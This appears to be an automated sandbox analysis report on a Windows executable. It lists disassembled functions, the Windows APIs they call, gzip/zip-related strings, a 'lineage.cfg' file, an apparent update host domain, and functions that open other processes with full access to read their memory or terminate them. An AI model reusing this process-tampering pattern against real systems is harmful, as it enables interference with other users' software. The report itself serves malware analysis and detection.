Instruction ID: 09dec0b7b20d19481886b311921ae21eb8528ad09ed27254591a6e29a08808c4
Opcode Fuzzy Hash: 542d0755c800e3b9d5a421d42a4a9b403712bb1b221898fa84610f293fabf537
Instruction Fuzzy Hash: 12F0A77174020277D2109B99EC81FC72B9C4B847543168136FE05F73A1D6FDE9C186AC

Function 00403410 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 31COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040343C
fprintf.MSVCRT ref: 0040345D

Strings

18 Aug 93, xrefs: 00403423
1.2.4, xrefs: 00403428
%s %s (%s), xrefs: 00403431
%s, xrefs: 00403454

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s$%s %s (%s)$1.2.4$18 Aug 93
API String ID: 383729395-2112967068
Opcode ID: acfd205bf67f35b03ded3974709c3b43450fb2e25cc5f08b1349498bc72d68d5
Instruction ID: d922d7cee56dcaa0d6c03bcf1d33a6800460bf96123738d13dfdc2df850cb791
Opcode Fuzzy Hash: acfd205bf67f35b03ded3974709c3b43450fb2e25cc5f08b1349498bc72d68d5
Instruction Fuzzy Hash: F6F0A07134020177E2109B89EC40FC3679D9B84B643168036FA05F73A1D2FCE8D1866D

Function 0040F0A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040F0BC
_errno.MSVCRT ref: 0040F0C1
perror.MSVCRT ref: 0040F0D2

Part of subcall function 00405600: _close.MSVCRT ref: 0040560F
Part of subcall function 00405600: _unlink.MSVCRT(0044F8A0), ref: 0040561A

fprintf.MSVCRT ref: 0040F0F1

Strings

%s: unexpected end of file, xrefs: 0040F0E8
%s: , xrefs: 0040F0B6

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_close_errno_unlinkperror
String ID: %s: $%s: unexpected end of file
API String ID: 1149763740-1106867712
Opcode ID: 59e5e5cce7ed04751cdfe136a20e8464cae7361fafefde8ae2815f64ee9efe7e
Instruction ID: 4ca2c0cbfd535fbb8a2d196ce49de31ad3a0226fe2c68e532ce39777a4f2675f
Opcode Fuzzy Hash: 59e5e5cce7ed04751cdfe136a20e8464cae7361fafefde8ae2815f64ee9efe7e
Instruction Fuzzy Hash: E9E02B719403007BC600ABE4FC85ADB33149F45314354C43AF805623D0D5BE98C14BAD

Function 00408C70 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(00000000,00000000), ref: 00408C9A
EndDialog.USER32(00000000,00000001), ref: 00408CB0
SendDlgItemMessageA.USER32(?,000003F5,000000C5,00007FFF,00000000), ref: 00408CE1
EndDialog.USER32(00000000,00000000), ref: 00408D47

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: Dialog$ItemMessageSend
String ID:
API String ID: 3275996760-0
Opcode ID: 8b14c4b2e2c3fa31662da62b01d202dbc81381d959c28cf83e5a59590a4a2407
Instruction ID: 66409707314fec767c8dfc2c1b69d48ff37f6e451188117965d607da9f69be5f
Opcode Fuzzy Hash: 8b14c4b2e2c3fa31662da62b01d202dbc81381d959c28cf83e5a59590a4a2407
Instruction Fuzzy Hash: 2A21363234460967E6308F60AD84FA77765D794711F20C53BF281EB2D2CBBAE882931C

Function 00406AA0 Relevance: 9.1, APIs: 6, Instructions: 67stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00406AB4
strncpy.MSVCRT ref: 00406AD8
_mkdir.MSVCRT ref: 00406AF9
_errno.MSVCRT ref: 00406B0C
strchr.MSVCRT ref: 00406B17
_errno.MSVCRT ref: 00406B31

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _errnostrchr$_mkdirstrncpy
String ID:
API String ID: 1944004910-0
Opcode ID: b9459f4fb9f4554ea5f374cea7f1d7cf46ae2a94543f8e0fd08da2e9391c3a3d
Instruction ID: c7fd45ab8ac5d769a2df9dbbbf872869e0c49be0cc6fbd454d5c5320d20fbb43
Opcode Fuzzy Hash: b9459f4fb9f4554ea5f374cea7f1d7cf46ae2a94543f8e0fd08da2e9391c3a3d
Instruction Fuzzy Hash: FD113832500308AFD320A758EC04FE777ACEBC5311F05453AED4993280E67EA919CAB5

Function 0040E670 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040E733
fprintf.MSVCRT ref: 0040E778

Strings

%s: %s: not a valid zip file, xrefs: 0040E76A
%s: %s: first entry not deflated or stored -- use unzip, xrefs: 0040E700
%s: %s: encrypted file -- use unzip, xrefs: 0040E72D

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s: %s: encrypted file -- use unzip$%s: %s: first entry not deflated or stored -- use unzip$%s: %s: not a valid zip file
API String ID: 383729395-1335502982
Opcode ID: 3ae31f77682639302eeaa8b56bb6aeff166fc1940e5eb74c95f73508baa077cf
Instruction ID: ccba45bf3cdfee631a7557de64997877714a34fce8de09d69fdfbe282000d52f
Opcode Fuzzy Hash: 3ae31f77682639302eeaa8b56bb6aeff166fc1940e5eb74c95f73508baa077cf
Instruction Fuzzy Hash: 34310971B042905BD708DF28FCA5AA67BE1DB85701328C4BFE4469B762C2749955C78C

Function 0040F130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0040F143
fprintf.MSVCRT ref: 0040F16F
fputc.MSVCRT ref: 0040F1BC

Strings

gfff, xrefs: 0040F156
%2ld.%1ld%%, xrefs: 0040F169

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fputc$fprintf
String ID: %2ld.%1ld%%$gfff
API String ID: 1721641446-1642739240
Opcode ID: 5f1f8430f7442e578903eb5f695dc9495466b27275a5b858d1406b8d9976c704
Instruction ID: 5972cb3f326e6bc6d8ea684cb43cfc3fbca8fe663e5fa5fa333193b1056b7619
Opcode Fuzzy Hash: 5f1f8430f7442e578903eb5f695dc9495466b27275a5b858d1406b8d9976c704
Instruction Fuzzy Hash: 1801C4317041159BC718CA0DFC15E7A37A5DBC9704F14413EF445EF281D674EC1A87AA

Function 004061A0 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 462COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040666D
fprintf.MSVCRT ref: 004066D8

Part of subcall function 0040ED10: _errno.MSVCRT ref: 0040ED1B
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED47
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED81

Strings

incomplete distance tree, xrefs: 004066CF
incomplete literal tree, xrefs: 00406664

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _readfprintf$_errno
String ID: incomplete distance tree$ incomplete literal tree
API String ID: 2909749742-1264739646
Opcode ID: 81bb7bda3a4e4199ace4c1ef823392af7421e32053f1f3bac06a81808faf8c14
Instruction ID: f7deab858de2e5d50c9ff0037b104fe3ab3af46059483281e37d51263ff68be4
Opcode Fuzzy Hash: 81bb7bda3a4e4199ace4c1ef823392af7421e32053f1f3bac06a81808faf8c14
Instruction Fuzzy Hash: FFF1E772A043015BD704DF18EC8166FB3E1FBC4304F064D3EE956A7291D779EA658B8A

Function 0040A690 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 004071D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,usmainupd2.lineageTheBloodPledge.com,?,76C19CE0,?,0040A69E,lineage.cfg,00000000,usmainupd2.lineageTheBloodPledge.com), ref: 004071EB
Part of subcall function 004071D0: sprintf.MSVCRT ref: 00407203

inet_ntoa.WS2_32(00000000), ref: 0040A71E
??3@YAXPAX@Z.MSVCRT(00000000,?,?), ref: 0040A759

Strings

lineage.cfg, xrefs: 0040A694
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A691

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ??3@CreateFileinet_ntoasprintf
String ID: lineage.cfg$usmainupd2.lineageTheBloodPledge.com
API String ID: 1315205024-3440496695
Opcode ID: c31013b62972e259811996fe396ded22d9c1ba85ff980e8f05514d338c30324e
Instruction ID: 25192f007a0f3ae62e241f977d47106c3ee39ebb564a0d4c6efc90b884b36583
Opcode Fuzzy Hash: c31013b62972e259811996fe396ded22d9c1ba85ff980e8f05514d338c30324e
Instruction Fuzzy Hash: 28214C356447081BC71049389C8456B37E69EA7334B2D8737FCA6A73C0E67EDC19924A

Function 00408200 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 0040824A

Part of subcall function 00406930: vsprintf.MSVCRT ref: 00406948
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 00406974
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406990
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,00003FFF), ref: 004069B5
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,004231C8), ref: 004069CF
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 004069E5
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406A01
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,?,?), ref: 00406A1A
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,?), ref: 00406A33

WSAGetLastError.WS2_32 ref: 00408277

Strings

Failed to set send timeout: %d, xrefs: 0040827A
Failed to set recv timeout: %d, xrefs: 0040824D

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$ErrorLast$vsprintf
String ID: Failed to set recv timeout: %d$Failed to set send timeout: %d
API String ID: 1785133882-613817813
Opcode ID: df24736c2f179e7d8c39b548996d3c6138925a72012af695bbfac452e9980746
Instruction ID: 48710dd16d4bb94a049b73eb6fa8fca473088dd0fc3453f31d3ff223bccfa4ba
Opcode Fuzzy Hash: df24736c2f179e7d8c39b548996d3c6138925a72012af695bbfac452e9980746
Instruction Fuzzy Hash: CB01F97150021A6FD510DF59DC41CEA739CDF46718F11027EF220971E1EB71A9598FA9

Function 00405510 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_utime.MSVCRT(?,00000000,00000000,00403D32,0048C3A0), ref: 00405530
fprintf.MSVCRT ref: 0040556D
perror.MSVCRT ref: 00405597

Strings

%s: , xrefs: 00405567

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _utimefprintfperror
String ID: %s:
API String ID: 1785166771-4275611816
Opcode ID: 3dffbf9a68d3ee0bdd35a421d8a46b7207aea4aafc6ba0da58cf8cc004e941c6
Instruction ID: ea4df089108c67531c2501276bd1f0e5eac6c791ba18e3daf09e2411086532cf
Opcode Fuzzy Hash: 3dffbf9a68d3ee0bdd35a421d8a46b7207aea4aafc6ba0da58cf8cc004e941c6
Instruction Fuzzy Hash: D8012970600702ABD720DF18ED45BA773B4EB40705F448439E845D7390E7BDE959CB99

Function 00406C50 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

_write.MSVCRT ref: 00406C62
_ftol.MSVCRT ref: 00406C8B
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00406C9D
_close.MSVCRT ref: 00406CB8

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: MessageSend_close_ftol_write
String ID:
API String ID: 515767290-0
Opcode ID: 1e22685f529d0e7e0f498c5d4134ad1dc253feffa721d5318dcbabaf7be76eaa
Instruction ID: df442fd90053c9feeb8973ff9425410d7523c43b991ffb05536b29dcd7fee3f0
Opcode Fuzzy Hash: 1e22685f529d0e7e0f498c5d4134ad1dc253feffa721d5318dcbabaf7be76eaa
Instruction Fuzzy Hash: 19118E75700210ABD320AF55FC45B5637A4FB04305F418039FA46A73A1D7B8A9558BAC

Function 0040C4C0 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,000181A8,UDP), ref: 0040C4D0
ReadProcessMemory.KERNEL32(00000000,?,?,00000008,00000000), ref: 0040C4F1
CloseHandle.KERNEL32(00000000), ref: 0040C513
CloseHandle.KERNEL32(00000000), ref: 0040C520

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$MemoryOpenRead
String ID:
API String ID: 2886301649-0
Opcode ID: f07ca3a22f22ee74bf80f5d008dc3cb3148206d23c40f4801dcdd4a502376711
Instruction ID: 9b77d95aa07a515aafef98cd2959181ede7ad831c2098fdcafe781cd687b3d2c
Opcode Fuzzy Hash: f07ca3a22f22ee74bf80f5d008dc3cb3148206d23c40f4801dcdd4a502376711
Instruction Fuzzy Hash: 59F0C875200200BBD6105760BC89BA77B98EBC8711F448535FA08A2280DA78E94D8675

Function 0040C480 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,0040A63F), ref: 0040C48D
TerminateProcess.KERNEL32(00000000,00000001), ref: 0040C49C
CloseHandle.KERNEL32(00000000), ref: 0040C4A7
CloseHandle.KERNEL32(00000000), ref: 0040C4B1

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: adbe3a70cd479fd160a8758a7ab821488207f302df0582f5471ad08ba1937f22
Instruction ID: fe9bee4c77143a5907466da9cd61d09ae68add0d05a8fb7e1787bb6e4ec35e20
Opcode Fuzzy Hash: adbe3a70cd479fd160a8758a7ab821488207f302df0582f5471ad08ba1937f22
Instruction Fuzzy Hash: B0E01231245630BBE7715774BC58BFB3E95EF4DB21F018531FA09E5290D6A88CC146E9

Function 00403EF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 004040A0: _errno.MSVCRT ref: 004040A0
Part of subcall function 004040A0: _stat.MSVCRT(?,00403286,?,00403286,?), ref: 004040B6

_errno.MSVCRT ref: 00403F45

Strings

.gz, xrefs: 00403F76

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _errno$_stat
String ID: .gz
API String ID: 2806855196-1476319162
Opcode ID: ecdebaae56c448657769463c8354faebb34d3ac66b5fef828e7804dda314e11d
Instruction ID: abcf562b4a07bd5709b38f6f1b79adf5fd44be04777b779aec6854eb6ee7e443
Opcode Fuzzy Hash: ecdebaae56c448657769463c8354faebb34d3ac66b5fef828e7804dda314e11d
Instruction Fuzzy Hash: CE412775F004080B972899796C5223F7AC6EAD1372768477BFA26D33D1EFBD8D089258

Function 0040A140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strspn.MSVCRT ref: 0040A152
strspn.MSVCRT ref: 0040A1B4

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A147

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: strspn
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 579998580-4278508022
Opcode ID: b92f3e12a95c8df390c4e7b3e1c0ecdf86a73b54a571ced51fc7e6a807ff04f6
Instruction ID: 8ed6218633217744d47b0676211f7d420f785628182eeeb3e957c51005231c34
Opcode Fuzzy Hash: b92f3e12a95c8df390c4e7b3e1c0ecdf86a73b54a571ced51fc7e6a807ff04f6
Instruction Fuzzy Hash: 3911733044839657D7314A185C447A67B969B67350F281177D8C16A3C1D2BD0CE7C36B

Function 00406D20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00402500: _open.MSVCRT ref: 0040252D

_read.MSVCRT ref: 00406D4F
_close.MSVCRT ref: 00406D56

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00406D22

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _close_open_read
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 2332195497-4278508022
Opcode ID: 292459304e3fa093ca3aa6c1d67f1a4a6ef39fe01e6fb3c2668b0d4aab081832
Instruction ID: ce6ffaf2bdc22260e75823daba1e9e9d0436b6902d524301ff992b185188462e
Opcode Fuzzy Hash: 292459304e3fa093ca3aa6c1d67f1a4a6ef39fe01e6fb3c2668b0d4aab081832
Instruction Fuzzy Hash: B3F0E2B26053117BD300CF54DC05B8BF7A4EFC0321F10892EFA8597280D3B4A4548BE5

Function 00406D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00402500: _open.MSVCRT ref: 0040252D

_write.MSVCRT ref: 00406DA8
_close.MSVCRT ref: 00406DAF

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00406D81

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _close_open_write
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 27574483-4278508022
Opcode ID: 98045b90ec047b1cf61a4802673313ec3f9d33eb0b86f44a5895cf4be50176fb
Instruction ID: 66d0e943d9c9f463a7499a02f6e9c2c058517d994728e9d9b01985fd350f80a2
Opcode Fuzzy Hash: 98045b90ec047b1cf61a4802673313ec3f9d33eb0b86f44a5895cf4be50176fb
Instruction Fuzzy Hash: 26E0C232A4222077D1111756AC0AFCF776C9FC5B34F068425FA04AB2C0E6B895528BED

Function 0040F100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040F115
perror.MSVCRT ref: 0040F120

Strings

%s: , xrefs: 0040F10F

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintfperror
String ID: %s:
API String ID: 3398761555-1393465352
Opcode ID: 1d5daf404718f55ed11a8f94899e9655f9d77450507e37f15cae555f1e1e1f32
Instruction ID: 6b025a9c0acd3b36a619481dfd0bd0d634da41c8cccd08e7feef28c59c463175
Opcode Fuzzy Hash: 1d5daf404718f55ed11a8f94899e9655f9d77450507e37f15cae555f1e1e1f32
Instruction Fuzzy Hash: 29C01270680300BBE3045B94DC8DAA63714E7057143908425F406552D0C6FE94C58B2E

Analysis Process: 4.exePID: 5432, Parent PID: 4452COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	1471
Total number of Limit Nodes:	31

Executed Functions

Function 00E1F05C Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E11B83: GetModuleHandleW.KERNEL32(kernel32), ref: 00E11B9C
Part of subcall function 00E11B83: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00E11BAE
Part of subcall function 00E11B83: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00E11BDF

